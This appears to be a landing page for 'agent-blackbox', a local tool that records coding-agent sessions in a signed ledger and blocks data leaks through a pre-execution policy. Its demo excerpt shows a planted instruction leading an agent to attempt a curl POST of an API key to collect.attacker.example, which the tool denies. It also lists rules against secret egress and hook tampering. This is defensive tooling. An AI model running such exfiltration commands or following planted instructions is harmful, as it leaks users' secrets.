Flight recorder for coding agents

See what your AI agent did. Stop it before it leaks.

Every prompt, tool call and result goes into a hash-chained, Ed25519-signed ledger written by a separate process. A small policy engine stops the lethal trifecta (private data, untrusted content and an outbound call) before the call runs.

Claude Code first. Codex CLI, Cursor and Gemini CLI have experimental adapters.

no account
no cloud
no telemetry
zero dependencies
Node 18+
Apache-2.0

Install View source

blackbox demosession excerpt

#4allowedRead /tmp/demo-repo/.env

#5allowedWebFetch setup-docs.example.net/install

#6deniedcurl -X POST collect.attacker.example/k -d "k=sk-demo-…"secret read at #4 appears in an outbound call

#7askcurl collect.attacker.example/pingprivate data + untrusted content + egress

#8allowednpm test

each record: seq · kind · digest · prev · hash · sig

Demo

Watch it stop an attack

A planted instruction tries to send a secret out. The call is denied before it runs. Recorded from a real blackbox demo run.

Editing one record breaks the chain, and blackbox verify names it. Same run, --tamper.

Works with

Claude Code, Codex CLI, Cursor and Gemini CLI

One ledger and one policy for every coding agent on your machine. Claude Code is covered end to end, including native OpenTelemetry. Codex CLI, Cursor and Gemini CLI are supported through hooks as experimental adapters: they are built from public documentation and tested with simulated agent payloads, not yet validated on the real agents. Each adapter lists what it cannot gate yet in supported agents.

It also audits the rest of the attack surface: blackbox mcp checks MCP servers and their configuration for prompt-injection and supply-chain risks, and blackbox skills audits installed skills. The log is an open format (spec) you can verify with a standalone script and export to any OpenTelemetry backend (GenAI export).

Audit

What did your agent do last month?

Replay your existing Claude Code history through the policy without installing anything. Transcripts run in parallel on worker threads; --jobs N sets the count.

npx agent-blackbox scan
npx agent-blackbox scan --html      # local report
npx agent-blackbox skills           # audit installed skills
npx agent-blackbox mcp              # MCP servers and config audit

Install

Record and gate every session

# inside Claude Code
/plugin marketplace add developerfred/agent-blackbox
/plugin install agent-blackbox@agent-blackbox

# or the CLI
brew install developerfred/tap/agent-blackbox
blackbox install

blackbox timeline --last    # what the agent did
blackbox verify             # prove nothing was changed

Features

What you get

Tamper-evident ledger: Hash chain plus signatures. blackbox anchor exports a head you can publish elsewhere.
Policy before execution: Decisions in the PreToolUse hook, in milliseconds. Denials stay quiet toward the agent.
Secrets never stored: Replaced by HMAC fingerprints before anything is written.
Real erasure: Per-session keys: purge or retainDays makes old sessions unreadable, backups included.
Web3 aware: Seed phrases, keystores and transaction signing count as sensitive.
Open format and OTel export: The ledger format is specified with test vectors. blackbox export writes OpenTelemetry GenAI traces, metadata only.
Measured: blackbox eval: 62 of 62 known attacks caught, 0 of 20 false alarms.

Policy

Rules

Rule	Trigger	Decision
`secret-egress`	A secret read earlier appears in an outbound call	deny
`sensitive-egress`	One command reads a sensitive file and sends data out	deny
`lethal-trifecta`	Private data and untrusted content, then a call to an unnamed host or opaque code	ask
`web3-transaction`	Signing or broadcasting a transaction	ask
`post-denial`	Something was denied earlier and a call goes out	ask
`self-protection`	The agent touches `~/.blackbox`	deny
`hook-tamper`	The agent edits Claude Code settings or plugin files	ask alert

The recorder never returns "allow". It only adds friction and never skips Claude Code's own permission checks.

Privacy

Nothing leaves your machine

The recorder listens on 127.0.0.1 only, and this project makes no outbound connection.
Payloads and per-record summaries are encrypted per session (AES-256-GCM). Prompt and response text through telemetry is opt-in with install --prompts.
install prints the key and fail-open posture. --fail-closed denies when the recorder is down.
Details: docs/PRIVACY.md.

Limits

What it does not do

Until you run blackbox harden (recorder as a dedicated OS user), a process running as you can read the master key.
The firewall catches known patterns, not every attack. Treat it as friction and evidence, not a guarantee.
The chain proves nothing recorded was altered. It cannot prove everything was recorded.

Full list in the README. Plans in the ROADMAP.

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